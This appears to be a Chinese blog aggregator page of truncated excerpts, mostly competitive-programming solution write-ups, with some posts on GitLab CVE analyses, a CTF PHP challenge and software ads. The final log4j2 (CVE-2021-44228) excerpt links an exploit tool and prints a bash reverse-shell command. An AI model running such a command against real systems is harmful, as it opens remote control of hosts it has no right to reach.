方差 题解noip 2021
Fox and Box Accumulation 题解
[题目传送门](https://www.luogu.com.cn/problem/CF388A) 一道贪心题。 我们先将箱子的力量值从小到大排序，**优先将小的放顶上**，只要还能在底下放就放，否则就到下一个堆。 为什么要从小到大往下放呢？因为越小的力量值能放的位置就越少，所以尽早放一定是最优的。相 ......
Trees in a Row 题解
[题目传送门](https://www.luogu.com.cn/problem/CF402B) 一道枚举题。 数据范围非常小，考虑暴力枚举。枚举第一棵树的高度，如果按照这样排列需要的操作次数是**最小的**，就选用这棵树作为新的第一棵树的高度，然后求出剩下的树的高度。 ### Code ```cp ......
Educational Codeforces Round 151 (Rated for Div. 2) 题解
# A. Forbidden Integer 显然，当 $x\not=1$ 时，直接输出 $n$ 个 $1$ 即可 否则，如果 $n$ 为奇数，那就输出 $\lfloor\frac{n}{2}\rfloor-1$ 个 $2$ 和 $3$；如果 $n$ 为偶数，那就输出 $\frac{n}{2}$ 个 ......
恋爱入门教学题解
已知长度为 $n$ 的三个两个实数序列 $A, B, X$，定义 $n$ 个定义域为 $\R$ 的函数 $f_1, f_2, \cdots, f_n$。 其中： $$ f_k(x) = \sum_{i = 1}^k |a_i (x - x_i) + b_i| $$ 现在，对于每一个 $k = 1, ......
FJOI 树的重心题解
**从零开始**~~暴切~~省选题 ## 题意简述 给定一个 $n$ 个点的树，每个点的编号从 $1$ 至 $n$，问这个树有多少不同的连通子树，和这个树有相同的重心。 ## 分析 #### 1 求重心 首先要明确重心的定义。题目中给出：删掉某点 $i$ 后，若剩余 $k$ 个连通分量，那么定义 $ ......
P4850 [IOI2009] Raisins 题解
看到这是个最优化的题，且数据范围很小，可以用搜索。
并且，对于一个相同的子矩阵，可能会搜到多次，由于它的最优值是一定的，所以可以用记忆化优化一下。 ......
『题解』CF163E e-Government
## 前言 一道比较基础的ACAM题（我也是因为这个题才学了AC自动机）。这边建议没学过AC自动机的先去学一下，我太菜了，没有现成的博客提供给大家 : ( 悲 校内模拟赛也考到了这个题，不过自己人挺善良的给了不少部分分，我当时还很菜（虽然现在也是），就糊了一个KMP骗了50pts~ 不过CF上好像卡 ......
题解：【AT TKBBC-#4-D2 I】 互いに素でないペアを持つ N の約数の集合の個数を求めてください
我无坚不摧，将情藏得隐晦。只有那明月，知道过程壮烈。多凄美伤悲，也就自己体会。就像冬天下雪，不算多特别。 ......
P9437 『XYGOI round1』一棵树 题解
赛时一眼换根 dp，然后调调调了大概 1h+。 [题目传送门](https://www.luogu.com.cn/problem/P9437) ### 什么是换根 dp 在大多数树形 dp 中，我们只考虑对根的贡献，而一部分题目需要算出对所有点的贡献，一个比较显然的做法是对每个点都跑一次树形 dp， ......
洛谷 P7911 [CSP-J 2021] 网络连接 题解
# 写在前面 一道普及级别的题目。CSP-J 全国统一命题 2021年第三题。 本题解来自于一位真正的大佬。传送门https://www.luogu.com.cn/blog/xyf007/solution-p7911。 题面信息来源于洛谷。请访问https://www.luogu.com.cn/pr ......
Balanced Round 题解
[原题链接](https://codeforces.com/contest/1850/problem/D)。 #### 题目大意 给你一些数，问至少删掉多少数后两两不大于 k。 我们可以画图理解。 。 当有通路时，则无需移动，答案就是 ......
CF1682B AND Sorting 题解
首先，我们按照题意，可以用 0 来作为中间的一个数来交换其他两个数，这种元素肯定是有的，那就是所有不在正确位置上的所有数的 AND 值，我们可以开一个数组 a 来模拟这个过程，a_i & a_j = X，那这里的 X 就起到我们的 0 的作用了。 代码： ``` #include #define i ......
[NOI2021] 路径交点 题解
# [NOI2021] 路径交点 题解 ## 题意 给定一张 $k$ 层的有向图，第 $i$ 层有 $n_i$ 个顶点，第 $1$ 层与第 $k$ 层**顶点数相同**。对于第 $j$ $(1 \leq j using namespace std; const int N = 205; ......
[Luogu P8744] 左孩子右兄弟 题解
# 题目大意 给定一棵节点个数为 $N$ 的多叉树，求其通过"**左孩子右兄弟**"表示法转化成的二叉树，高度最高是多少。 # 解决思路 首先分辨出此题目是树状DP，并了解"**左孩子右兄弟**"表示法的转换方式，便开始考虑DP的 **状态** **转移** 方程。 ## 状态 由于每个节点由 $1 ......
【题解】[2023牛客多校] Distance
题目传送门：[[2023牛客多校] Distance](https://ac.nowcoder.com/acm/contest/57360/B) # 题意 对于任意两个元素个数相同的set：A、B，每次可以执行以下两种操作之一： + 将A中的任意元素加一 + 将B中的任意元素加一 $C(A, B)$ ......
P4795 [BalticOI 2018] 基因工程 题解
题目传送门：[Click](https://www.luogu.com.cn/problem/P4795)。 蒟蒻看见这道题，想了足足一个小时，过后顿有所悟，故作此篇。 首先，看到题目，光是数据就已经达到了 $\operatorname{O}(nm)$ 的级别，再看一看数据范围：$3 \leq n, ......
暑期竞赛培训 Day 16 <继续写题解>
# - [1] [蓝桥杯 2013 省 A] 剪格子 洛谷P8601 ## 题目描述 如图 $1$ 所示，$3\times 3$ 的格子中填写了一些整数。  **我们沿着图中 ......
CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析（二）
上一篇CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)复现分析了第一部分也就是携带恶意文件的请求是如何通过gitlab传递到exiftool进行解析的，接下来我将分析exiftool漏洞的原理和最后的触发利用。 希望读者能读有所得，从中收获到自己独特的见解。 ......
CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)
> 文章写于2021-11-29，首发在[天融信阿尔法实验室](https://mp.weixin.qq.com/s/Y4mGVhbc3agp1adnUs1GmA) ## 前言 安全研究员`vakzz`于4月7日在hackerone上提交了一个关于gitlab的[RCE漏洞](https://hac ......
P4169 题解
## 题意 二维平面上有 $n$ 个点，给你 $m$ 次操作，每次操作可以插入一个点或者询问所有点中距离给定点最近的哈密顿距离。$n,m\le 3\times 10^5.$ ## 分析 这是一道 K-D Tree 的裸题。 而对于这道题，我们还需要考虑插入操作。我们给出两种方式： 1. 按很多题解的 ......
[SWPUCTF 2021 新生赛]pop
# 题目源码 ```php admin 'w44m' && $this->passwd '08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } ......
AT_ttpc2015_g 题解
洛谷的 RMJ 总是 UKE，所以这一题是在 ATcoder 上做的，[记录一](https://atcoder.jp/contests/ttpc2015/submissions/44132887)，[记录二](https://atcoder.jp/contests/ttpc2015/submiss ......
Minitab 2021 - 统计分析管理软件
Minitab 2021 是一款功能强大的统计分析管理软件，广泛应用于质量管理、数据分析、实验设计和质量改进等领域。 点击获取Minitab 2021 数据导入和管理：Minitab 2021 提供了灵活的数据导入和管理功能，可以导入各种常见格式的数据文件，如文本文件、Excel 表格、数据库等。用 ......
AndroidStudio2021.3logcat工具无法显示日志解决办法
AndroidStudio2021.3logcat工具无法显示日志解决办法 https://blog.csdn.net/weixin_43623271/article/details/127876964 1.File -> setting2.搜索logcat, ->ExperimentalunChk ......
2021年电工证模拟考试试题及答案(完整版)，逢考必过神器！
俗话说：工欲善其事必先利其器！持证上岗，考取电工证是成为一名优秀电工的第一步。 近来，很多电工同行在后台询问小编有没有2021年电工考试试题及答案，故小编花了很大的精力整理出一份电工自测考题。本份试卷共80道题目，包含10道判断题、50道选择题和20道多选题，完全模拟电工证考试题型，附答案！ 这份电 ......
UVA333 题解
## 大意： 给定一个字符串 $s$ 判断 $s$ 是否符合要求。 1. 由数字，`-` 和大写英文数字 `X`，空格组成，`X` 代表 $10$ 且只能在最后出现。 2. 依次相加前面的数字的总和可以被 $11$ 整除，也就是前缀和，而且刚好 $s$ 只有 $10$ 个数字。 ## 坑点： 1. ......
CVE-2021-44228 Apache log4j2远程代码执行漏洞
漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......